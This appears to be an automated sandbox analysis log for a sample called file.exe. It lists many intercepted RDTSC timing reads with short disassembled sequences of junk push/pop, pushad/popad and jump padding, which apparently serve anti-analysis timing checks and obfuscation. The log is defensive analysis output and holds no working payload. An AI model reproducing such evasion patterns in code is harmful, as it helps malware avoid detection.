Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF605F second address: BF6067 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF6067 second address: BF606B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BF61BC second address: BF61CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F209CD00FF6h 0x0000000a pop edx 0x0000000b push esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFCE30 second address: BFCE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFB805 second address: BFB81F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F209CD01006h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBC9D second address: BFBCA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBCA4 second address: BFBCBC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01003h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBCBC second address: BFBCCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jne 00007F209CBE0096h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBE40 second address: BFBE46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBE46 second address: BFBE4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBE4A second address: BFBE4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBE4E second address: BFBE5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CBE009Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFBFBF second address: BFBFDA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01007h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC0F7 second address: BFC0FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC0FD second address: BFC105 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC105 second address: BFC11C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CBE00A2h 0x00000009 pop edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC55F second address: BFC5BA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F209CD01009h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F209CD01006h 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F209CD01009h 0x00000018 push eax 0x00000019 push edx 0x0000001a jc 00007F209CD00FF6h 0x00000020 push ebx 0x00000021 pop ebx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC5BA second address: BFC5C0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC6D0 second address: BFC6D6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC828 second address: BFC82C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFC82C second address: BFC899 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007F209CD01003h 0x0000000c pop ecx 0x0000000d pop esi 0x0000000e pushad 0x0000000f jmp 00007F209CD01001h 0x00000014 pushad 0x00000015 push esi 0x00000016 pop esi 0x00000017 push ecx 0x00000018 pop ecx 0x00000019 push eax 0x0000001a pop eax 0x0000001b popad 0x0000001c jbe 00007F209CD01019h 0x00000022 jmp 00007F209CD01002h 0x00000027 jmp 00007F209CD01001h 0x0000002c push eax 0x0000002d push edx 0x0000002e push esi 0x0000002f pop esi 0x00000030 jmp 00007F209CD00FFAh 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF47E second address: BFF48A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BFF48A second address: BFF4A7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01004h 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C02289 second address: C022A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F209CBE00A9h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C022A9 second address: C022C1 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F209CD01002h 0x00000008 jne 00007F209CD00FF6h 0x0000000e jno 00007F209CD00FF6h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C087B2 second address: C087CA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE009Eh 0x00000007 jp 00007F209CBE009Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C074F5 second address: C074F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BC01CF second address: BC01F8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F209CBE009Dh 0x00000008 push edi 0x00000009 pop edi 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 mov dword ptr [ebp+122D2175h], eax 0x00000016 push 00000004h 0x00000018 movsx ecx, di 0x0000001b nop 0x0000001c push esi 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C08502 second address: C0851E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01001h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0851E second address: C08522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C5E1 second address: C0C5FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01009h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C5FE second address: C0C650 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 jmp 00007F209CBE00A7h 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007F209CBE00A9h 0x00000014 pushad 0x00000015 popad 0x00000016 jmp 00007F209CBE00A4h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C88A second address: C0C88E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C88E second address: C0C8AC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F209CBE00A0h 0x0000000b pop ebx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0C8AC second address: C0C8C4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F209CD00FFBh 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C10194 second address: C101A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jnl 00007F209CBE0096h 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FBC4 second address: C0FBD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CD00FFBh 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FBD6 second address: C0FBE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F209CBE0096h 0x0000000a pop edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C0FBE7 second address: C0FBEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C17207 second address: C1720B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1720B second address: C1721A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F209CD00FF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1721A second address: C1722D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 jmp 00007F209CBE009Ah 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B71028 second address: B7102C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7102C second address: B7103F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F209CBE009Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15267 second address: C1526D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1526D second address: C15273 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15273 second address: C15296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F209CD01008h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C15296 second address: C1529A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1529A second address: C1529E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1559F second address: C155B5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F209CBE00A0h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C157FC second address: C15816 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01006h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C160FE second address: C16102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16102 second address: C16108 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16696 second address: C1669A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1669A second address: C166B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jng 00007F209CD01006h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16BE8 second address: C16BF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16BF3 second address: C16BF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16BF9 second address: C16BFD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16E82 second address: C16E8E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jnp 00007F209CD00FF6h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16E8E second address: C16EC2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE00A0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007F209CBE00A8h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16EC2 second address: C16EC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16EC6 second address: C16ECF instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16ECF second address: C16ED6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C16ED6 second address: C16EE0 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F209CBE009Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1C899 second address: C1C8AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push ebx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push esi 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1C8AB second address: C1C8AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B76275 second address: B762B5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01001h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c pushad 0x0000000d jmp 00007F209CD01004h 0x00000012 push edx 0x00000013 pop edx 0x00000014 jno 00007F209CD00FF6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d jnp 00007F209CD00FFCh 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C2031F second address: C20323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20323 second address: C20329 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20329 second address: C20333 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20333 second address: C20347 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F209CD00FFBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C20347 second address: C2034C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F5A4 second address: C1F5AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F858 second address: C1F85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F85C second address: C1F86D instructions: 0x00000000 rdtsc 0x00000002 jns 00007F209CD00FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F9C3 second address: C1F9C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1F9C9 second address: C1F9D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F209CD00FFEh 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C1FF23 second address: C1FF45 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F209CBE00A4h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C21974 second address: C21978 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C21978 second address: C21986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007F209CBE0098h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C21986 second address: C21998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F209CD00FFCh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C21998 second address: C219AE instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F209CBE0096h 0x00000008 jp 00007F209CBE0096h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C219AE second address: C219B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29C3E second address: C29C48 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29C48 second address: C29C4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29C4C second address: C29C73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE00A6h 0x00000007 jbe 00007F209CBE0096h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29C73 second address: C29C83 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007F209CD00FFAh 0x0000000c push edx 0x0000000d pop edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29C83 second address: C29C94 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F209CBE009Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C28017 second address: C2801C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C28320 second address: C28324 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C285A9 second address: C285AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C285AF second address: C285B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C285B8 second address: C285BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C285BC second address: C285C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C285C0 second address: C285DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CD01006h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C285DC second address: C285E9 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F209CBE0098h 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C285E9 second address: C285EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C28CAA second address: C28CAE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C28CAE second address: C28CDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD00FFBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F209CD01009h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C28CDB second address: C28D13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CBE00A9h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F209CBE0096h 0x00000012 jmp 00007F209CBE00A2h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: C29A9E second address: C29ABB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CD01000h 0x00000009 pop esi 0x0000000a jnp 00007F209CD00FF8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
